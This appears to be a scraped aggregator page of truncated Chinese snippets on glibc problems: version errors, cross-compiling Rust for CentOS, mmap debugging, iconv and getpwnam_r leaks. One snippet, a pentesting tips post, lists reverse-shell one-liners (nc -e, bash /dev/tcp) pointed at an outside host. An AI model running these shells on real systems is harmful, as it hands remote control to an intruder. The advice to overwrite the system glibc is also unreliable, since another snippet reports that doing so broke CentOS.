glibc

linux:/lib/libc.so.6: version `glibc_2.7′ not foun

眉间皱痕 提交于 2019-12-07 18:36:05
刚用户反映服务器rar版本低,下了个4.0的运行提示 /lib/libc.so.6: version `GLIBC_2.7′ not found 升级了centos的glibc库 yum -y update glibc 问题依旧。用命令查看glibc库的信息 rpm -qi glibc 显示系统的glibc库版本为2.5 在CentOS中用更新命令到2.5已经是最新版本了,只好手动下载 glibc 2.7 的源码包编译安装更新: 地址:http://ftp.gnu.org/pub/gnu/glibc/glibc-2.7.tar.gz cd /usr/local/src wget http://ftp.gnu.org/pub/gnu/glibc/glibc-2.7.tar.gz tar zxvf glibc-2.7.tar.gz glibc-2.7/configure #执行configure命令时不能进到glibc-2.7文件夹里面,否则无法执行 cd glibc-2.7 make && make install 注意:有的时候会出问题,说可能会导致glibc不可用,所以建议修改prefix,这样的话可以执行命令glibc-2.7/configure --prefix=/usr,然后在往下执行make && make install 来源: oschina 链接: https:/

在 Ubuntu 上为 CentOS 编译 Rust 程序

白昼怎懂夜的黑 提交于 2019-12-07 18:35:53
现在 CentOS 8 还没出来,最新的是 CentOS 7.6,上面搭载的 glibc 版本是 2.17,都已经是 2012 年那时候的版本了。 现在开发者比较常用的桌面 Linux 系统,比如 Ubuntu / Debian / Mint / Arch / Manjaro 等,都是比较新的 glibc 版本了,比如 Ubuntu 18.04 已经到了 2.27 的版本了。在 glibc 2.18 的时候,引入了一个 __cxa_thread_atexit_impl 标记,所有基于 2.18 及以上的 glibc 环境编译的动态链接程序,如果放到 2.18 之前的 glibc 环境里跑,就会报错: ./foo: /lib/libc.so.6: version 'GLIBC_2.18' not found (required by ./foo) 这也是为什么在 Ubuntu 上编译个 Rust 的 helloworld 程序,放到 CentOS 上都跑不起来的原因。 也曾想过升级 CentOS 上的 glibc 版本,后来发现这样干太危险,在虚拟机上试一下手工编译升级,结果把 CentOS 搞挂了,起都起不来了! 然后就不得不在虚拟机里跑一个 CentOS 来进行 Rust 程序的编译,这样编译出来的程序放到 CentOS 服务器上去跑得倒是很欢快,只是在虚拟机里跑 CentOS

Is mmap a built in function?

北战南征 提交于 2019-12-07 16:40:58
问题 I know that mmap is a system call, but there must be some wrapper in glibc that does the system call. Yet when I try to use gdb to step through the mmap function in my program, gdb ignores it as it can't find any source file for it (Note I compile my own glibc from source). I can step through other glibc library functions such as printf and malloc but not mmap . I also use the flag -fno-builtin so that gcc doesn't use built in functions. Any help on this will be greatly appreciated. 回答1: I

PHP ICONV glibc to libiconv on CentOS 5.5

久未见 提交于 2019-12-07 16:16:56
问题 I'm having a few issues with the PHP function iconv, which I've tracked down the the iconv implementation. As the manual states, "Note that the iconv function on some systems may not work as you expect. In such case, it'd be a good idea to install the GNU libiconv library." http://uk3.php.net/manual/en/intro.iconv.php I've downloaded the libiconv library from http://www.gnu.org/software/libiconv/ and installed it without any problems using: $ ./configure --prefix=/usr/local $ make $ make

Linux下内网反弹技巧总结与杂谈

断了今生、忘了曾经 提交于 2019-12-07 14:13:28
导读 靠谱点的公司都不会将应用服务器直接对外,而是通过代理转发或映射等方式对外,当可以执行命令的服务器能够访问公网(这个要看具体情况,比如需要加载公网资源或者其他需求)时,反连技巧就会派上用场。 通常,在做渗透的时候会“运气好”,碰到某些应用上存在远程命令执行漏洞,近来由于java反序列化和二进制类漏洞的层出不穷,也加持着这种漏洞越发增多。 一般来说,靠谱点的公司都不会将应用服务器直接对外,而是通过代理转发或映射等方式对外,当可以执行命令的服务器能够访问公网(这个要看具体情况,比如需要加载公网资源或者其他需求)时,反连技巧就会派上用场。 反弹技巧总结: 1、NC反弹 Nc 1.1.1.1 8080 -e /bin/bash 2、Bash-socket反弹 /bin/bash -i > /dev/tcp/1.1.1.1/8080 0<&1 2>&1 3、Shell-socket反弹 a) exec 2>&0;0<&196; exec 196<>/dev/tcp/1.1.1.1/8080; sh <&196 >&196 2>&196 b) exec 5<>/dev/tcp/1.1.1.1/8080 cat <&5 | while read line; do $line 2>&5 >&5; done[分两句执行] 4、文件管道-nc/telnet反弹 a) rm /tmp/f

对于升级ubuntu libstdc++到GLIBCXX_3.4.17出错问题

守給你的承諾、 提交于 2019-12-07 14:05:26
本人下了一个QQ for Linux 报错: /usr/lib/libstdc++.so.6: version `GLIBCXX_3.4.15' not found 出现该错误的原因是当前的GCC版本(昨天编译安装的gcc-4.8.0)中,没有GLIBCXX_3.4.15。查看libstdc++.so.6 所支持的GLIBC #strings /usr/lib/libstdc++.so.6 | grep GLIBC GLIBCXX_3.4 GLIBCXX_3.4.1 GLIBCXX_3.4.2 GLIBCXX_3.4.3 GLIBCXX_3.4.4 GLIBCXX_3.4.5 GLIBCXX_3.4.6 GLIBCXX_3.4.7 GLIBCXX_3.4.8 GLIBCXX_3.4.9 于是下了个 libstdc++.so.6.0.17文件复制到 /usr/lib 文件夹下面更新到了 GLIBCXX_3.4.17 #strings /usr/lib/libstdc++.so.6 | grep GLIBC 输出 GLIBCXX_3.4 GLIBCXX_3.4.1 GLIBCXX_3.4.2 GLIBCXX_3.4.3 GLIBCXX_3.4.4 GLIBCXX_3.4.5 GLIBCXX_3.4.6 GLIBCXX_3.4.7 GLIBCXX_3.4.8 GLIBCXX_3.4.9

getpwnam_r memory leak

亡梦爱人 提交于 2019-12-07 08:49:29
问题 I use getpwnam_r to handle client connections in my programs. Sadly enough, it seems to allocate a buffer it never frees. The relevant valgrind output: ==15774== 536 (104 direct, 432 indirect) bytes in 2 blocks are definitely lost in loss record 1 of 3 ==15774== at 0x4C24CFE: malloc (in /usr/lib64/valgrind/amd64-linux/vgpreload_memcheck.so) ==15774== by 0x5143B5A: nss_parse_service_list (in /lib64/libc-2.10.1.so) ==15774== by 0x51442E6: __nss_database_lookup (in /lib64/libc-2.10.1.so) ==15774

[CENTOS] 安装glibc

点点圈 提交于 2019-12-07 07:42:48
在你准备升级GLIBC库之前,你要好好思考一下, 你真的要升级GLIBC么? 你知道你自己在做什么么? http://baike.baidu.com/view/1323132.htm?fr=aladdin glibc是 gnu 发布的libc 库 ,即c 运行库 。glibc是 linux系统 中最底层的 api ,几乎其它任何 运行库 都会依赖于glibc。glibc除了 封装 linux 操作系统 所提供的 系统服务 外,它本身也提供了许多其它一些必要功能服务的实现... 总的来说,不说运行在linux上的一些应用,或者你之前部署过的产品,就是很多linux的基本命令,比如cp, rm, ll之类,都得依赖于它 网上很多人有惨痛教训,甚至升级失败后系统退出后无法重新进入了。。 对于CentOS这样的系统,为了追求稳定性(这个值得商榷)往往各种库版本都很低,比如6.5甚至7.0自带的还是glibc2.12, 而ubuntu 14.04带glibc2.19 如果升级基本C运行库到一个太新的版本,可能会影响CentOS的运行。所以大家如果遇到CentOS基本库的问题,影响了自己程序的运行,应该可以考虑: 1. 在低版本的系统编译自己的产品,如果自己的产品确实不需要新版才支持的新特性 2. 用版本高的系统来编译,比如ubuntu,和centos的新版,但可能需要部署到较低版本

pthread_cond_broadcast broken with dlsym?

余生颓废 提交于 2019-12-07 05:48:54
问题 I am trying to interpose calls to pthread_cond_broadcast using LD_PRELOAD mechanism. My interposed pthread_cond_broadcast function just calls the original pthread_cond_broadcast. However, for a very simple pthread code where both pthread_cond_wait and pthread_cond_broadcast get invoked, I either end up with a segfault in glibc (for glibc 2.11.1) or the program hangs (for glibc 2.15). Any clues on that is going on? The interposition code (that gets compiled as a shared library): #define _GNU

Moving to different Linux build system, getting error: undefined symbol: stat

别等时光非礼了梦想. 提交于 2019-12-07 04:56:33
问题 This may just be an issue with the build system I am migrating to, but I'll include differences in the two systems and how I encountered the problem. My old build system is a SLES 10 machine. The gcc/cpp/g++ version is 4.1.0 My new system is on SLES 11 SP4, and the gcc/cpp/g++ version is 4.3.4. I am building a shared library; building and linking work fine on the new system. However, at load time on the new system, I get the following: error ./mysharedlib.so: undefined symbol: stat Since the